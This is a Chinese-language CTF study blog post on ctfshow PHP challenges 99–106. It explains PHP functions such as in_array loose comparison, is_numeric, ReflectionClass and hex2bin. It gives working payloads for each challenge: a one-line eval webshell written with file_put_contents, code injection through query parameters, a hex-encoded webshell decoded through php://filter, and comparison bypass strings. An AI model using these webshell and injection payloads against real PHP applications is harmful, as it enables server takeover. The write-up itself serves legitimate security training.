99
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
该函数等于多次调用 $array[] = $value。
in_array() 函数搜索数组中是否存在指定的值。(注意:in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换)
file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
重点在于in_array()函数的漏洞 给n传参,1.php 直接被转化为1和allow中的值比较
之后使用file_put_contents函数创造文件并构造shell
payload:GET n=1.php POST content=<?php @eval($_POST["a"]);?>
100
is_numeric() 函数用于检测变量是否为数字或数字字符串。
and/&& 和 or/|| 这两组运算符的优先级竟然是不一样的. and和or的优先级是低于=的
var_dump — 打印变量的相关信息
payload:?v1=1&v2=var_dump($ctfshow)&v3=;
payload:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
注意,626624430x2dedf00x2d4b980x2dae500x2dc539bdf350e1 中的0x2d要替换为 - ,ASCII编码
102
var_dump被过滤了
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
payload:?v1=1&v2=echo new ReflectionClass&v3=;
最后一个值要疯狂尝试0-9 a-f
反射类拓展
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); 获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
103
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数写入内容到文件中,第一个参数是文件名,第二个参数是内容
substr() 返回字符串的子串
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字
说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag
103和102相同payload
104
104出题人出的有些失误,没有判断v1与v2的值,所以直接传post: v1=a get: v2=a就可以了,也可以用数组绕过。
106
106修复了这个问题,但是还是可以用数组绕过,当然如果加上强制类型转换,我们就得找其他的了,下面给出几个符合的。
106修复了这个问题,但是还是可以用数组绕过,当然如果加上强制类型转换,我们就得找其他的了,下面给出几个符合的。
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
105
foreach有两种语法:
第一种:遍历给定的 数组语句 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
foreach (array_expression as $value)
第二种:同上,同时当前单元的键名也会在每次循环中被赋给变量 $key。
foreach (array_expression as $key => $value)
标签:函数,dump,第二天,特性,v1,v2,var,array,php
From: https://www.cnblogs.com/vaneshadow/p/17428783.html